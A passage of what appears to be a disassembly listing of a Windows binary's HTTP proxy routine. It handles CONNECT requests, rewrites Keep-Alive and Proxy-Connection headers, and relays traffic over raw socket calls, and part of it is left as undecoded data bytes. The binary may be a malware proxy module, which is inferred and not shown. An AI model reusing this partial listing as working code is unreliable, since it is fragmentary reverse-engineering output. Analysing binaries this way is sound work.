		mov	[esp+54A0h], esi
		call	sub_4014BA
		jmp	loc_42A570
; ---------------------------------------------------------------------------


loc_4296A0:				; CODE XREF: ___:00429664j
		push	offset asc_444600 ; " "
		lea	eax, [esp+234h]
		push	0
		push	eax
		lea	ecx, [esp+3Ch]
		call	sub_4016B8
		push	offset off_44720C
		mov	ecx, eax
		mov	byte ptr [esp+54A4h], 3
		call	sub_40150A
		test	eax, eax
		lea	ecx, [esp+230h]
		mov	byte ptr [esp+54A0h], 2
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_429765
		push	offset asc_444600 ; " "
		lea	ecx, [esp+21Ch]
		push	1
		push	ecx
		lea	ecx, [esp+3Ch]
		mov	byte ptr [esp+1Fh], 1
		call	sub_4016B8
		lea	edx, [esp+0B8h]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+54A4h], 4
		call	sub_4017EE
		push	eax
		call	sub_401947
		add	esp, 8
		lea	ecx, [esp+218h]
		test	al, al
		setz	bl
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226
		test	bl, bl
		jnz	loc_42A5EF
		push	offset aHttp	; "http"
		lea	ecx, [esp+0BCh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42A5EF
		jmp	loc_42995A
; ---------------------------------------------------------------------------


loc_429765:				; CODE XREF: ___:004296E7j
		push	offset asc_444600 ; " "
		lea	eax, [esp+24Ch]
		push	0
		push	eax
		lea	ecx, [esp+3Ch]
		call	sub_4016B8
		push	offset aConnect_0 ; "CONNECT"
		mov	ecx, eax
		mov	byte ptr [esp+54A4h], 5
		call	sub_40150A
		test	eax, eax
		lea	ecx, [esp+248h]
		mov	byte ptr [esp+54A0h], 2
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	loc_42995A
		push	offset aConnect	; "connect"
		lea	ecx, [esp+0BCh]
		mov	byte ptr [esp+17h], 0
		call	sub_4015E1
		push	offset byte_448F30
		lea	ecx, [esp+114h]
		call	sub_4015E1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+12Ch]
		push	1
		push	ecx
		lea	ecx, [esp+3Ch]
		call	sub_4016B8
		push	offset asc_444C64 ; ":"
		lea	edx, [esp+174h]
		push	0
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+54ACh], 6
		call	sub_4016B8
		push	eax
		lea	ecx, [esp+0D1h]
		mov	byte ptr [esp+54A4h], 7
		call	sub_401FDC
		lea	ecx, [esp+170h]
		mov	byte ptr [esp+54A0h], 6
		call	sub_401226
		lea	ecx, [esp+128h]
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	eax, [esp+27Ch]
		push	1
		push	eax
		lea	ecx, [esp+3Ch]
		call	sub_4016B8
		push	offset asc_444C64 ; ":"
		lea	ecx, [esp+1A4h]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+54ACh], 8
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+54A0h], 9
		call	sub_4017EE
		test	eax, eax
		lea	ecx, [esp+1A0h]
		mov	byte ptr [esp+54A0h], 8
		setz	bl
		call	sub_401226
		lea	ecx, [esp+278h]
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226
		test	bl, bl
		jnz	loc_42A5EF
		push	offset asc_444600 ; " "
		lea	edx, [esp+264h]
		push	1
		push	edx
		lea	ecx, [esp+3Ch]
		call	sub_4016B8
		push	offset asc_444C64 ; ":"
		lea	ecx, [esp+1D4h]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+54ACh], 0Ah
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+54A0h], 0Bh
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+1D0h]
		mov	[esp+10Ch], eax
		mov	byte ptr [esp+54A0h], 0Ah
		call	sub_401226
		lea	ecx, [esp+260h]
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226
		mov	eax, [esp+10Ch]
		test	eax, eax
		jnz	short loc_42995A
		mov	dword ptr [esp+10Ch], 50h


loc_42995A:				; CODE XREF: ___:00429760j
					; ___:004297ACj ...
		push	offset asc_444600 ; " "
		lea	edx, [esp+4Ch]
		push	0
		push	edx
		lea	ecx, [esp+3Ch]
		call	sub_4016B8
		push	offset byte_448F30
		lea	ecx, [esp+4Ch]
		mov	byte ptr [esp+54A4h], 0Ch
		call	sub_4012EE
		test	eax, eax
		jz	loc_42A5DE
		push	offset asc_444600 ; " "
		lea	eax, [esp+64h]
		push	2
		push	eax
		lea	ecx, [esp+3Ch]
		call	sub_4016B8
		push	offset byte_448F30
		lea	ecx, [esp+64h]
		mov	byte ptr [esp+54A4h], 0Dh
		call	sub_4012EE
		test	eax, eax
		jz	loc_42A5CD
		lea	ecx, [esp+0CDh]
		push	ecx
		lea	ecx, [esp+8Ch]
		call	sub_4014D3
		mov	ecx, 1000h
		xor	eax, eax
		lea	edi, [esp+498h]
		or	ebx, 0FFFFFFFFh
		rep stosd
		mov	edi, offset aHttprox ; "HTTPROX"
		mov	ecx, ebx
		repne scasb
		not	ecx
		sub	edi, ecx
		lea	edx, [esp+4498h]
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		mov	byte ptr [esp+54A0h], 0Eh
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		lea	eax, [esp+4498h]
		and	ecx, 3
		rep movsb
		mov	esi, offset asc_4471E4 ; "\r\n"


loc_429A21:				; CODE XREF: ___:00429A3Fj
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_429A45
		test	cl, cl
		jz	short loc_429A41
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_429A45
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_429A21


loc_429A41:				; CODE XREF: ___:00429A2Bj
		xor	eax, eax
		jmp	short loc_429A49
; ---------------------------------------------------------------------------


loc_429A45:				; CODE XREF: ___:00429A27j
					; ___:00429A35j
		sbb	eax, eax
		sbb	eax, ebx


loc_429A49:				; CODE XREF: ___:00429A43j
		test	eax, eax
		jz	loc_429B23
		mov	edi, dword_511AD8


loc_429A57:				; CODE XREF: ___:00429B1Dj
		mov	esi, offset byte_448F30
		lea	eax, [esp+4498h]


loc_429A63:				; CODE XREF: ___:00429A81j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_429A87
		test	cl, cl
		jz	short loc_429A83
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_429A87
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_429A63


loc_429A83:				; CODE XREF: ___:00429A6Dj
		xor	eax, eax
		jmp	short loc_429A8B
; ---------------------------------------------------------------------------


loc_429A87:				; CODE XREF: ___:00429A69j
					; ___:00429A77j
		sbb	eax, eax
		sbb	eax, ebx


loc_429A8B:				; CODE XREF: ___:00429A85j
		test	eax, eax
		jz	loc_429B23
		mov	ecx, [ebp+0BBh]
		push	0
		lea	eax, [esp+449Ch]
		push	1000h
		push	eax
		push	ecx
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_42A629
		lea	edx, [esp+4498h]
		push	4000h
		lea	eax, [esp+49Ch]
		push	edx
		push	eax
		call	edi	; strncat
		push	4000h
		lea	ecx, [esp+4A8h]
		push	offset asc_4471E4 ; "\r\n"
		push	ecx
		call	edi	; strncat
		add	esp, 18h
		mov	esi, offset asc_4471E4 ; "\r\n"
		lea	eax, [esp+4498h]


loc_429AF3:				; CODE XREF: ___:00429B11j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_429B17
		test	cl, cl
		jz	short loc_429B13
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_429B17
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_429AF3


loc_429B13:				; CODE XREF: ___:00429AFDj
		xor	eax, eax
		jmp	short loc_429B1B
; ---------------------------------------------------------------------------


loc_429B17:				; CODE XREF: ___:00429AF9j
					; ___:00429B07j
		sbb	eax, eax
		sbb	eax, ebx


loc_429B1B:				; CODE XREF: ___:00429B15j
		test	eax, eax
		jnz	loc_429A57


loc_429B23:				; CODE XREF: ___:00429A4Bj
					; ___:00429A8Dj
		mov	esi, dword_511B04
		lea	eax, [esp+498h]
		push	offset aProxyConnectio ; "Proxy-Connection:"
		push	eax
		call	esi	; strstr
		add	esp, 8
		test	eax, eax
		jz	short loc_429B77
		push	offset asc_444C64 ; ":"
		push	eax
		call	esi	; strstr
		add	esp, 8
		inc	eax
		jz	short loc_429B77
		cmp	byte ptr [eax],	20h
		jnz	short loc_429B5B


loc_429B52:				; CODE XREF: ___:00429B59j
		mov	cl, [eax+1]
		inc	eax
		cmp	cl, 20h
		jz	short loc_429B52


loc_429B5B:				; CODE XREF: ___:00429B50j
		push	offset aKeepAlive ; "Keep-Alive"
		push	eax
		nop
		call	near ptr 77C4624Eh
		add	esp, 8
		test	eax, eax
		jz	short loc_429B77
		mov	byte ptr [ebp+0BAh], 1
		jmp	short loc_429B7E
; ---------------------------------------------------------------------------


loc_429B77:				; CODE XREF: ___:00429B3Dj
					; ___:00429B4Bj ...
		mov	byte ptr [ebp+0BAh], 0


loc_429B7E:				; CODE XREF: ___:00429B75j
		cmp	[ebp+0BFh], ebx
		jnz	loc_429C16
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, ebx
		mov	[ebp+0BFh], eax
		jz	loc_42A6FD
		mov	edx, [esp+10Ch]
		xor	ecx, ecx
		mov	[esp+78h], ecx
		push	edx
		mov	[esp+80h], ecx
		mov	word ptr [esp+7Ch], 2
		mov	[esp+84h], ecx
		mov	[esp+88h], ecx
		nop
		call	near ptr 71AB2B66h
		lea	ecx, [esp+0CDh]
		mov	[esp+7Ah], ax
		call	sub_4017EE
		push	eax
		call	sub_40188E
		add	esp, 4
		cmp	eax, ebx
		mov	[esp+7Ch], eax
		jz	loc_42A63B
		mov	ecx, [ebp+0BFh]
		lea	eax, [esp+78h]
		push	10h
		push	eax
		push	ecx
		nop
		call	near ptr 71AB406Ah
		cmp	eax, ebx
		jz	loc_42A698


loc_429C16:				; CODE XREF: ___:00429B84j
		mov	al, [esp+13h]
		test	al, al
		jz	loc_42A2BE
		mov	al, [ebp+0BAh]
		test	al, al
		jz	short loc_429C61
		lea	edx, [esp+498h]
		lea	ecx, [esp+60h]
		push	edx
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+118h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+54h]
		call	sub_4017EE
		push	eax
		lea	eax, [esp+24h]
		push	offset aSSSConnectionK ; "%s %s	%s\r\nConnection: Keep-Alive\r\n%s"
		push	eax
		jmp	short loc_429C94
; ---------------------------------------------------------------------------


loc_429C61:				; CODE XREF: ___:00429C2Aj
		lea	ecx, [esp+498h]
		push	ecx
		lea	ecx, [esp+64h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+118h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+54h]
		call	sub_4017EE
		push	eax
		lea	edx, [esp+24h]
		push	offset aSSSConnectionC ; "%s %s	%s\r\nConnection: close\r\n%s"
		push	edx


loc_429C94:				; CODE XREF: ___:00429C5Fj
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [esp+14h]
		push	0
		call	sub_4013E3
		push	eax
		lea	ecx, [esp+1Ch]
		call	sub_4017EE
		push	eax
		mov	eax, [ebp+0BFh]
		push	eax
		nop
		call	near ptr 71AB428Ah
		test	eax, eax
		jz	loc_42A6E2
		cmp	eax, ebx
		jz	loc_42A6E2
		mov	edx, [ebp+0BFh]
		push	0
		lea	ecx, [esp+49Ch]
		push	4000h
		push	ecx
		push	edx
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_42A70F
		mov	edi, offset asc_4471E4 ; "\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+498h]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	eax
		mov	esi, edi
		mov	ebx, ecx
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, ebx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		lea	edi, [esp+49Ch]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	eax, [esp+49Ch]
		push	ecx
		mov	ecx, [ebp+0BBh]
		push	eax
		push	ecx
		nop
		call	near ptr 71AB428Ah
		xor	ebx, ebx
		mov	esi, offset asc_4471E4 ; "\r\n"
		mov	[esp+2Ch], ebx
		lea	eax, [esp+498h]


loc_429D5E:				; CODE XREF: ___:00429D7Cj
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_429D82
		test	cl, cl
		jz	short loc_429D7E
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_429D82
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_429D5E


loc_429D7E:				; CODE XREF: ___:00429D68j
		xor	eax, eax
		jmp	short loc_429D87
; ---------------------------------------------------------------------------


loc_429D82:				; CODE XREF: ___:00429D64j
					; ___:00429D72j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_429D87:				; CODE XREF: ___:00429D80j
		test	eax, eax
		jz	loc_42A109


loc_429D8F:				; CODE XREF: ___:0042A0F8j
		mov	esi, offset byte_448F30
		lea	eax, [esp+498h]


loc_429D9B:				; CODE XREF: ___:00429DBDj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_429DC3
		test	cl, cl
		jz	short loc_429DBF
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_429DC3
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_429D9B


loc_429DBF:				; CODE XREF: ___:00429DA7j
		xor	eax, eax
		jmp	short loc_429DC8
; ---------------------------------------------------------------------------


loc_429DC3:				; CODE XREF: ___:00429DA3j
					; ___:00429DB3j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_429DC8:				; CODE XREF: ___:00429DC1j
		test	eax, eax
		jz	loc_42A105
		mov	ecx, [ebp+0BFh]
		push	0
		lea	eax, [esp+49Ch]
		push	4000h
		push	eax
		push	ecx
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_42A100
		lea	edx, [esp+498h]
		lea	ecx, [esp+0A0h]
		push	edx
		call	sub_401870
		push	offset asc_444600 ; " "
		lea	eax, [esp+204h]
		push	0
		push	eax
		lea	ecx, [esp+0ACh]
		mov	byte ptr [esp+54ACh], 0Fh
		call	sub_4016B8
		push	offset aContentLength ;	"Content-Length:"
		mov	ecx, eax
		mov	byte ptr [esp+54A4h], 10h
		call	sub_40150A
		test	eax, eax
		lea	ecx, [esp+200h]
		mov	byte ptr [esp+54A0h], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_429EAA
		push	offset asc_444600 ; " "
		lea	ecx, [esp+144h]
		push	1
		push	ecx
		lea	ecx, [esp+0ACh]
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+54A0h], 11h
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+140h]
		mov	[esp+2Ch], eax
		mov	byte ptr [esp+54A0h], 0Fh
		call	sub_401226


loc_429EAA:				; CODE XREF: ___:00429E5Cj
		push	offset asc_444600 ; " "
		lea	edx, [esp+15Ch]
		push	0
		push	edx
		lea	ecx, [esp+0ACh]
		call	sub_4016B8
		push	offset aTransferEncodi ; "Transfer-Encoding:"
		mov	ecx, eax
		mov	byte ptr [esp+54A4h], 12h
		call	sub_40150A
		test	eax, eax
		lea	ecx, [esp+158h]
		mov	byte ptr [esp+54A0h], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_429F39
		push	offset asc_444600 ; " "
		lea	eax, [esp+18Ch]
		push	1
		push	eax
		lea	ecx, [esp+0ACh]
		call	sub_4016B8
		push	offset aChunked	; "chunked"
		mov	ecx, eax
		mov	byte ptr [esp+54A4h], 13h
		call	sub_40150A
		lea	ecx, [esp+188h]
		mov	byte ptr [esp+54A0h], 0Fh
		call	sub_401226


loc_429F39:				; CODE XREF: ___:00429EF4j
		push	offset asc_444600 ; " "
		lea	ecx, [esp+1BCh]
		push	0
		push	ecx
		lea	ecx, [esp+0ACh]
		call	sub_4016B8
		push	offset aConnection ; "Connection:"
		mov	ecx, eax
		mov	byte ptr [esp+54A4h], 14h
		call	sub_40150A
		test	eax, eax
		lea	ecx, [esp+1B8h]
		mov	byte ptr [esp+54A0h], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_429FD4
		push	offset asc_444600 ; " "
		lea	edx, [esp+1ECh]
		push	1
		push	edx
		lea	ecx, [esp+0ACh]
		call	sub_4016B8
		push	offset aKeepAlive ; "Keep-Alive"
		mov	ecx, eax
		mov	byte ptr [esp+54A4h], 15h
		call	sub_40150A
		test	eax, eax
		lea	ecx, [esp+1E8h]
		mov	byte ptr [esp+54A0h], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		setnz	byte ptr [esp+11h]


loc_429FD4:				; CODE XREF: ___:00429F83j
		mov	esi, offset asc_4471E4 ; "\r\n"
		lea	eax, [esp+498h]


loc_429FE0:				; CODE XREF: ___:0042A002j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42A008
		test	cl, cl
		jz	short loc_42A004
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42A008
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_429FE0


loc_42A004:				; CODE XREF: ___:00429FECj
		xor	eax, eax
		jmp	short loc_42A00D
; ---------------------------------------------------------------------------


loc_42A008:				; CODE XREF: ___:00429FE8j
					; ___:00429FF8j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42A00D:				; CODE XREF: ___:0042A006j
		test	eax, eax
		jz	loc_42A0A9
		mov	esi, offset byte_448F30
		lea	eax, [esp+498h]


loc_42A021:				; CODE XREF: ___:0042A043j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42A049
		test	cl, cl
		jz	short loc_42A045
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42A049
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_42A021


loc_42A045:				; CODE XREF: ___:0042A02Dj
		xor	eax, eax
		jmp	short loc_42A04E
; ---------------------------------------------------------------------------


loc_42A049:				; CODE XREF: ___:0042A029j
					; ___:0042A039j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42A04E:				; CODE XREF: ___:0042A047j
		test	eax, eax
		jz	short loc_42A0A9
		mov	edi, offset asc_4471E4 ; "\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+498h]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	eax
		mov	esi, edi
		mov	ebx, ecx
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, ebx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		lea	edi, [esp+49Ch]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	eax, [esp+49Ch]
		push	ecx
		mov	ecx, [ebp+0BBh]
		push	eax
		push	ecx
		call	near ptr 71AB428Ah
		nop


loc_42A0A9:				; CODE XREF: ___:0042A00Fj
					; ___:0042A050j
		lea	ecx, [esp+0A0h]
		mov	byte ptr [esp+54A0h], 0Eh
		call	sub_401226
		mov	esi, offset asc_4471E4 ; "\r\n"
		lea	eax, [esp+498h]


loc_42A0C9:				; CODE XREF: ___:0042A0EBj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42A0F1
		test	cl, cl
		jz	short loc_42A0ED
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42A0F1
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_42A0C9


loc_42A0ED:				; CODE XREF: ___:0042A0D5j
		xor	eax, eax
		jmp	short loc_42A0F6
; ---------------------------------------------------------------------------


loc_42A0F1:				; CODE XREF: ___:0042A0D1j
					; ___:0042A0E1j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42A0F6:				; CODE XREF: ___:0042A0EFj
		test	eax, eax
		jnz	loc_429D8F
		jmp	short loc_42A105
; ---------------------------------------------------------------------------


loc_42A100:				; CODE XREF: ___:00429DF0j
		mov	byte ptr [esp+12h], 1


loc_42A105:				; CODE XREF: ___:00429DCAj
					; ___:0042A0FEj
		mov	ebx, [esp+2Ch]


loc_42A109:				; CODE XREF: ___:00429D89j
		mov	al, [esp+11h]
		push	0
		test	al, al
		jz	short loc_42A131
		mov	edi, offset aConnectionKeep ; "Connection: Keep-Alive\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	eax, [ebp+0BBh]
		not	ecx
		dec	ecx
		push	ecx
		push	offset aConnectionKeep ; "Connection: Keep-Alive\r\n"
		push	eax
		jmp	short loc_42A14D
; ---------------------------------------------------------------------------


loc_42A131:				; CODE XREF: ___:0042A111j
		mov	edi, offset aConnectionClos ; "Connection: Close\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, [ebp+0BBh]
		push	offset aConnectionClos ; "Connection: Close\r\n"
		push	ecx


loc_42A14D:				; CODE XREF: ___:0042A12Fj
		nop
		call	near ptr 71AB428Ah
		mov	edi, offset asc_4471E4 ; "\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+498h]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	0
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		mov	edx, [ebp+0BBh]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		lea	edi, [esp+49Ch]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		lea	ecx, [esp+4A0h]
		push	ecx
		push	edx
		call	near ptr 71AB428Ah
		nop
		test	ebx, ebx
		jz	loc_42A27C
		xor	edi, edi
		test	ebx, ebx
		jle	short loc_42A204


loc_42A1B3:				; CODE XREF: ___:0042A202j
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, 4000h
		jbe	short loc_42A204
		mov	edx, [ebp+0BFh]
		push	0
		lea	ecx, [esp+49Ch]
		push	4000h
		push	ecx
		push	edx
		nop
		call	near ptr 71AB615Ah
		mov	esi, eax
		cmp	esi, 1
		jl	short loc_42A204
		cmp	esi, 0FFFFFFFFh
		jz	short loc_42A204
		mov	ecx, [ebp+0BBh]
		push	0
		lea	eax, [esp+49Ch]
		push	esi
		push	eax
		push	ecx
		nop
		call	near ptr 71AB428Ah
		add	edi, esi
		cmp	edi, ebx
		jl	short loc_42A1B3


loc_42A204:				; CODE XREF: ___:0042A1B1j
					; ___:0042A1BCj ...
		mov	eax, ebx
		sub	eax, edi
		jz	short loc_42A24E


loc_42A20A:				; CODE XREF: ___:0042A24Cj
		push	0
		push	eax
		mov	eax, [ebp+0BFh]
		lea	edx, [esp+4A0h]
		push	edx
		push	eax
		nop
		call	near ptr 71AB615Ah
		mov	esi, eax
		cmp	esi, 1
		jl	short loc_42A24E
		cmp	esi, 0FFFFFFFFh
		jz	short loc_42A24E
		mov	edx, [ebp+0BBh]
		push	0
		lea	ecx, [esp+49Ch]
		push	esi
		push	ecx
		push	edx
		call	near ptr 71AB428Ah
		nop
		add	edi, esi
		mov	eax, ebx
		sub	eax, edi
		jnz	short loc_42A20A


loc_42A24E:				; CODE XREF: ___:0042A208j
					; ___:0042A227j ...
		mov	al, [ebp+0BAh]
		test	al, al
		jnz	loc_42A4DF
		mov	ecx, [ebp+0BBh]
		push	ecx
		nop
		call	near ptr 71AB9639h
		or	esi, 0FFFFFFFFh
		mov	byte ptr [esp+12h], 1
		mov	[ebp+0BBh], esi
		jmp	loc_42A4E2
; ---------------------------------------------------------------------------


loc_42A27C:				; CODE XREF: ___:0042A1A7j
		mov	esi, dword_511CA4


loc_42A282:				; CODE XREF: ___:0042A2BCj
		mov	ecx, [ebp+0BFh]
		push	0
		lea	eax, [esp+49Ch]
		push	4000h
		push	eax
		push	ecx
		call	esi	; recv
		cmp	eax, 1
		jl	short loc_42A24E
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42A24E
		push	0
		push	eax
		mov	eax, [ebp+0BBh]
		lea	edx, [esp+4A0h]
		push	edx
		push	eax
		nop
		call	near ptr 71AB428Ah
		jmp	short loc_42A282
; ---------------------------------------------------------------------------


loc_42A2BE:				; CODE XREF: ___:00429C1Cj
		lea	ecx, [esp+14h]
		push	offset aHttp1_0200Conn ; "HTTP/1.0 200 Connection established\r\n\r\n"...
		push	ecx
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+14h]
		push	0
		call	sub_4013E3
		push	eax
		lea	ecx, [esp+1Ch]
		call	sub_4017EE
		mov	edx, [ebp+0BBh]
		push	eax
		push	edx
		nop
		call	near ptr 71AB428Ah
		test	eax, eax
		jz	loc_42A782
		cmp	eax, ebx
		jz	loc_42A782
		mov	ebx, dword_511CA4
		mov	eax, [ebp+0BBh]
		mov	edx, [ebp+0BFh]
		mov	[esp+294h], eax
		mov	dword ptr [esp+290h], 1
		xor	eax, eax
		lea	ecx, [esp+294h]


loc_42A330:				; CODE XREF: ___:0042A33Bj
		cmp	[ecx], edx
		jz	short loc_42A33D
		inc	eax
		add	ecx, 4
		cmp	eax, 1
		jb	short loc_42A330


loc_42A33D:				; CODE XREF: ___:0042A332j
		cmp	eax, 1
		jnz	short loc_42A354
		mov	[esp+298h], edx
		mov	dword ptr [esp+290h], 2


loc_42A354:				; CODE XREF: ___:0042A340j
		mov	ecx, 1000h
		xor	eax, eax
		lea	edi, [esp+498h]
		push	eax
		rep stosd
		push	eax
		lea	ecx, [esp+298h]
		push	eax
		push	ecx
		push	eax
		call	near ptr 71AB2DC0h
		nop
		mov	eax, [ebp+0BBh]
		lea	edx, [esp+290h]
		push	edx
		push	eax
		call	sub_438256
; ---------------------------------------------------------------------------
		dw 0C085h
		dd 958B4274h, 0BBh, 8C8D006Ah, 49C24h, 40006800h, 52510000h
		dd 0F883D3FFh, 9F840FFFh, 8BFFFFFEh, 0BF8Dh, 50006A00h
		dd 0A024848Dh, 50000004h, 0C3E89051h, 8371689Eh, 840FFFF8h
		dd 0FFFFFE7Eh, 0BF858Bh, 948D0000h, 29024h, 0E8505200h
		dd 0DE72h, 4274C085h, 0BF958Bh,	6A0000h, 9C248C8Dh, 68000004h
		dd 4000h, 0D3FF5251h, 0FFFF883h, 0FFFE4584h, 0BB8D8BFFh
		dd 6A000000h, 848D5000h, 4A024h, 0E8515000h, 71689E6Ah
		dd 0FFF88390h, 0FE24840Fh, 3D8BFFFFh, 5118D8h, 0D7FF056Ah
		dd 0BB858Bh, 6A0000h, 9C24948Dh, 68000004h, 4000h, 0D3FF5052h
		dd 0F685F08Bh, 0FDF8840Fh, 167DFFFFh, 0F07EE890h, 333D7168h
		dd 75000027h, 0FF016A09h, 0FE9BE9D7h, 958BFFFFh, 0BFh
		dd 1CA03D8Bh, 6A0051h, 9C248C8Dh, 56000004h, 0D7FF5251h
		dd 0BF8D8Bh, 6A0000h, 9C24848Dh, 68000004h, 4000h, 0D3FF5150h
		dd 0F685F08Bh, 0FDA4840Fh, 1A7DFFFFh, 0F02AE890h, 333D7168h
		dd 75000027h, 0E8016A0Dh, 2425EA9h, 0FE43E990h,	858BFFFFh
		dd 0BBh, 948D006Ah, 49C24h, 50525600h, 2AE9D7FFh
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_42A4DF:				; CODE XREF: ___:0042A256j
		or	esi, 0FFFFFFFFh


loc_42A4E2:				; CODE XREF: ___:0042A277j
		mov	al, [esp+11h]
		test	al, al
		jnz	short loc_42A502
		mov	edx, [ebp+0BFh]
		push	edx
		nop
		call	near ptr 71AB9639h
		mov	[ebp+0BFh], esi
		mov	byte ptr [esp+12h], 1


loc_42A502:				; CODE XREF: ___:0042A4E8j
		lea	ecx, [esp+88h]
		mov	byte ptr [esp+54A0h], 0Dh
		call	sub_401226
		lea	ecx, [esp+60h]
		mov	byte ptr [esp+54A0h], 0Ch
		call	sub_401226
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226
		lea	ecx, [esp+30h]
		mov	byte ptr [esp+54A0h], 1
		call	sub_401226
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+54A0h], 0
		call	sub_401226
		lea	ecx, [esp+0B8h]
		mov	[esp+54A0h], esi
		call	sub_4014BA
		or	esi, 0FFFFFFFFh


loc_42A570:				; CODE XREF: ___:0042969Bj
		mov	al, [esp+12h]
		test	al, al
		jz	loc_4295E8


loc_42A57C:				; CODE XREF: ___:0042A624j
					; ___:0042A77Dj
		mov	al, [ebp+0BAh]
		test	al, al
		jz	short loc_42A599
